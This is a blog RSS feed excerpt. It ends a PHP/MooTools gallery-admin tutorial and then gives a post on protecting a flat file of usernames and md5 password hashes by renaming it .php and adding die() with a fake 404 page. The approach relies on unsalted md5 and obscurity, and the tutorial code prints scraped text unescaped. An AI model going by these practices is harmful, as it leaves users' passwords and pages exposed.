<span style="color: #000000; font-weight: bold;">?&gt;</span>
	&lt;div class=&quot;item span-8 <span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$position</span><span style="color: #339933;">%</span><span style="color:#800080;">2</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span>  <span style="color: #0000ff;">'last'</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt;
&nbsp;
		&lt;input type=&quot;text&quot; class=&quot;image-title&quot; value=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'h3'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; name=&quot;title-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;/&gt;
&nbsp;
		&lt;label class=&quot;delete&quot; for=&quot;delete-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt;Delete?
			&lt;input type=&quot;checkbox&quot; value=&quot;delete&quot; name=&quot;delete-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; id=&quot;delete-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;/&gt;
		&lt;/label&gt;
&nbsp;
		&lt;input type=&quot;text&quot; class=&quot;description&quot; value=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'p'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; name=&quot;description-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;/&gt;
&nbsp;
		&lt;img src=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'img'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">src</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; alt=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'h3'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; class=&quot;preview&quot;/&gt;
&nbsp;
		&lt;input type=&quot;text&quot; class=&quot;img-url&quot; value=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'img'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">src</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; name=&quot;img-url-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;/&gt;
&nbsp;
		&lt;label class=&quot;position&quot; for=&quot;pos-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt;Position:
			&lt;input maxlength=&quot;3&quot; class=&quot;position&quot; type=&quot;text&quot; value=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$position</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; name=&quot;pos-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; id=&quot;pos-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;/&gt;
		&lt;/label&gt;
&nbsp;
		&lt;label class=&quot;linksto&quot; for=&quot;linksto-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt;Links to: 
			&lt;input type=&quot;text&quot; value=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'a'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">href</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; name=&quot;linksto-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; id=&quot;linksto-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; /&gt;&lt;br /&gt;
		&lt;/label&gt;
&nbsp;
	&lt;/div&gt;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$position</span><span style="color: #339933;">%</span><span style="color:#800080;">2</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;hr class=&quot;invisible&quot; /&gt;'</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$i</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
	&lt;div class=&quot;span-17 form-foter&quot;&gt;
		&lt;input type=&quot;hidden&quot; value=&quot;was_submitted&quot; name=&quot;updateform&quot; /&gt;
		&lt;button type=&quot;submit&quot; id=&quot;apply-changes&quot; class=&quot;positive button-ok&quot; value=&quot;Apply Changes&quot;&gt;Apply Changes&lt;/button&gt;
		&lt;button type=&quot;reset&quot; id=&quot;resetbutton&quot; class=&quot;negative button-cancel&quot; value=&quot;Discard Changes&quot;&gt;Discard&lt;/button&gt;
	&lt;/div&gt;
&lt;/form&gt;</pre></div></div>

<p><strong>Nifty fact:</strong> Because of the way we&#8217;re using the positions, we&#8217;re able to enter any rational number as a position. So if you wanted to put the last image on the 2nd position, you&#8217;d just have give it a position of 1.5 (or anything between 1 and 2), instead of giving it 2 and changing the position for the second to 3 and for the 3rd to 4 and so on. And after pressing submit, the order is achieved and the positions are nice natural numbers again.</p>
<p>Because we just want two items per row we&#8217;re checking if the position is an even (<em>if ($position%2 == 0)</em>) and if it is we&#8217;re adding some class for the CSS to handle and an horizontal ruler.</p>
<h3>Conclusions</h3>
<p>So this pretty much covers the PHP part. I commented as much as I could of the code but still, feel free to shoot any questions in the comments.</p>
<p>Of course, the view needed some CSS stylying for a decent display. The Blueprint CSS framework was used for faster and cleaner development.<br />
And some more JavaScript (<a href="http://mootools.net/" title="A compact JavaScript framework">mootools</a> to be more precise) improvements made their way in, achieving tasks like:</p>
<ul>
<li>select all text when clicking in a text field</li>
<li>instantly change the displayed image when the text in the image location is changed
<ul>
<li>and this means the <em>Reset</em> button now has to reset back all the images and not just the fields</li>
</ul>
</li>
</ul>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">//select all onfocus for text fields</span>
$$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.item input, .add-item input'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #339933;">,</span> i<span style="color: #009900;">&#41;</span>	<span style="color: #009900;">&#123;</span>
&nbsp;
&nbsp;
	<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">addEvent</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'focus'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">select</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">//refresh image on input change</span>
$$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.img-url'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #339933;">,</span> i<span style="color: #009900;">&#41;</span>	<span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">addEvent</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'keyup'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">getPrevious</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.preview'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span><span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">addEvent</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'blur'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">getPrevious</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.preview'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span><span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">//refresh image on input change (on the add image form)</span>
$$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.add-img-url'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">addEvent</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'keyup'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'add-preview'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span>$$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.add-img-url'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
$$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.add-img-url'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">addEvent</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'change'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'add-preview'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span>$$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.add-img-url'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">//reset back all images on reset</span>
$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'resetbutton'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">addEvent</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'click'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	$$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.item .preview'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #339933;">,</span> i<span style="color: #009900;">&#41;</span>	<span style="color: #009900;">&#123;</span>
		document.<span style="color: #660066;">update_items</span>.<span style="color: #660066;">reset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span><span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">getNext</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'input.img-url'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>So that&#8217;s about it. Hope the effort invested was worth it and the result was of help to you.</p>
<p>For those of you interested, there&#8217;s a <a href="http://nettuts.com/videos/screencasts/create-a-photo-admin-site-using-php-and-jquery/">tutorial</a> on Nettuts with a similar goal using PHP and mySQL:</p>
<blockquote><p>
For this lesson, our goal is to create a photo admin section where an administrator can retrieve photos from a database and update the title of his photos simply by clicking on the appropriate text.
</p>
</blockquote>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=PHP+Tutorial%3A+Build+a+Backend+Manager+for+Smooth+Gallery+-+http://b2l.me/bwrrf+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery&amp;t=PHP+Tutorial%3A+Build+a+Backend+Manager+for+Smooth+Gallery" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery&amp;title=PHP+Tutorial%3A+Build+a+Backend+Manager+for+Smooth+Gallery" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Fphp-tutorial-build-a-backend-manager-for-smooth-gallery&amp;linkname=PHP%20Tutorial%3A%20Build%20a%20Backend%20Manager%20for%20Smooth%20Gallery"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Secure a Flat File Using a .php Extension</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension</link>
		<comments>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension#comments</comments>
		<pubDate>Wed, 01 Oct 2008 21:16:30 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16</guid>
		<description><![CDATA[






Here&#8217;s the deal: I need to store some sensitive data (user names and passwords) in a flat file. I don&#8217;t want to make any use of databases because this would defeat the whole purpose of the project. Of course, the passwords will be md5 encrypted in the file, but this wouldn&#8217;t be enough.
This neat little [...]]]></description>
			<content:encoded><![CDATA[





<p><a href="http://www.flickr.com/photos/23297626@N00/3002751937"><img src="http://farm4.static.flickr.com/3166/3002751937_8ab58c0ae3_m.jpg" alt="Lock it Up" title="Lock it Up" hspace="5" border="0" /></a><br />
Here&#8217;s the deal: <strong>I need to store some sensitive data (user names and passwords) in a flat file.</strong> I don&#8217;t want to make any use of databases because this would defeat the whole purpose of the project. Of course, the passwords will be <strong>md5</strong> encrypted in the file, but this wouldn&#8217;t be enough.</p>
<p>This neat little login system, <a title="Micro Login System" href="http://www.phptoys.com/e107_plugins/content/content.php?content.35.1">Micro Login System</a>, seems to have the basic stuff for me to start with but, as said it stores the user info in a text file.<br />
The contents of userpwd.txt would have been:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">admin<span style="color: #339933;">:</span>3089af3a625carf15ed2a1a93684413ffa
user1<span style="color: #339933;">:</span>75580656a394292460ebb4b036ebeaf1
user2<span style="color: #339933;">:</span>c67ac4665947cd23ff7d1d180b8e41d5</pre></div></div>

<p>That&#8217;s user : <strong>md5( </strong>password <strong>)</strong>.<br />
I was concerned about this because anyone who knew about the system could have entered <em>address/userpwd.txt</em> in the address box and gotten that info.</p>
<h3>My solution</h3>
<p>Php files are pretty secure right?&#8230;</p>
<p><span id="more-16"></span></p>
<p><a title="Scroll down to the conclusions" href="#conclusions">scroll down to the conclusion to skip the whole story</a></p>
<p>They&#8217;re processed on the server before the client gets the output. How about giving the file a php extension instead of txt?</p>
<p>Of course this wouldn&#8217;t be enough, because the output would be exactly the same as the file&#8217;s contents. But now that it&#8217;s a php, we can write php code in it. What if the userpwd<strong>.php</strong> looked like this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;HTTP/1.0 404 Not Found&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
admin:3089af3a625carf15ed2a1a93684413f
user1:75580656a394292460ebb4b036ebeaf1
user2:c67ac4665947cd23ff7d1d180b8e41d5</pre></div></div>

<p>The login system can be made to ignore the first line when doing its thing, because it runs server side and can read the contents of userpwd.php as it is on the server (like it was reading the txt version of the file), so there&#8217;s no problem here.</p>
<p>But if a client tries to open userpwd.php in his browser, the <strong>die();</strong> function will be executed when the server processes the php code in the file and the script is terminated, thus outputing a blank page.</p>
<h3>Optional stuff</h3>
<p>The  <em>header(&#8220;HTTP/1.0 404 Not Found&#8221;)</em>, is an attempt to mislead anyone trying to type in the file name by sending the browser a 404 Page Not Found status. I even went as far as adding an error message as a parameter for the die function that looks like the default html for a 404 error in most browsers:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&lt;!DOCTYPE HTML PUBLIC <span style="color: #000099; font-weight: bold;">\&quot;</span>-//IETF//DTD HTML 2.0//EN<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt; &lt;html&gt;&lt;head&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;title&gt;404 Not Found&lt;/title&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;/head&gt;&lt;body&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;h1&gt;Not Found&lt;/h1&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;p&gt;The requested URL was not found on this server.&lt;/p&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;/body&gt;&lt;/html&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>So our userpwd.php would look like this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;HTTP/1.0 404 Not Found&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&lt;!DOCTYPE HTML PUBLIC <span style="color: #000099; font-weight: bold;">\&quot;</span>-//IETF//DTD HTML 2.0//EN<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt; &lt;html&gt;&lt;head&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;title&gt;404 Not Found&lt;/title&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;/head&gt;&lt;body&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;h1&gt;Not Found&lt;/h1&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;p&gt;The requested URL was not found on this server.&lt;/p&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;/body&gt;&lt;/html&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
admin:3089af3a625carf15ed2a1a93684413f
user1:75580656a394292460ebb4b036ebeaf1
user2:c67ac4665947cd23ff7d1d180b8e41d5</pre></div></div>

<p>And now, if anyone were to open the file in their browser, they&#8217;ll get a page with this source code:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #00bbdd;">&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;</span> 
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;</span>404 Not Found<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>Not Found<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>The requested URL was not found on this server.<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></pre></div></div>

<h3>Background story</h3>
<p>I&#8217;m gonna start working on a simple CMS which I&#8217;ll be releasing open source. Now this should be really simple as in:</p>
<ul>
<li>user already has his/her own site (probably a static html site)</li>
<li>user uploads a folder to his/her root dir via ftp—and that&#8217;s all, <strong>without having any database</strong> involved</li>
<li>pages are editable in <em>certain ways</em> by a script in that folder</li>
</ul>
<p>And that about covers it (until further development). But before I actually start putting things together I was exploring possibilities and ran into this.</p>
<h3>Conclusions<a name="conclusions"></a></h3>
<p><em>The most secure txt file is a php file </em></p>
<p>So let&#8217;s take a look at it again&#8230;<br />
If you don&#8217;t need/don&#8217;t want to use mySQL or any other database but have some sensitive data to store in a flat file:</p>
<ul>
<li>give it a .php extension</li>
<li>it should have this text on the first line: <span style="color: #808080;">&lt;?php die(); ?&gt;</span></li>
</ul>
<p><strong>Optional:</strong> Or to fake it into looking like a <em>404 Not Found</em> page, it should have this first line (instead of the above):</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;HTTP/1.0 404 Not Found&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&lt;!DOCTYPE HTML PUBLIC <span style="color: #000099; font-weight: bold;">\&quot;</span>-//IETF//DTD HTML 2.0//EN<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt; &lt;html&gt;&lt;head&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;title&gt;404 Not Found&lt;/title&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;/head&gt;&lt;body&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;h1&gt;Not Found&lt;/h1&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;p&gt;The requested URL was not found on this server.&lt;/p&gt; <span style="color: #000099; font-weight: bold;">\n</span>&lt;/body&gt;&lt;/html&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>If you&#8217;re interested in the login system I&#8217;ve been talking about, you can download it and read a tutorial explaining how it works here: <a title="Micro Login System" href="http://www.phptoys.com/e107_plugins/content/content.php?content.35.1">Micro Login System</a>.</p>
<h3>Think different?</h3>
<p>Can you think of any reason for this not be secure? Do you think I&#8217;m reinventing the wheel here?<br />
Mention it in a comment here, or leave me a private note via my contact form if you think I&#8217;m missing anything.</p>


<!-- Begin SexyBookmarks Menu Code -->
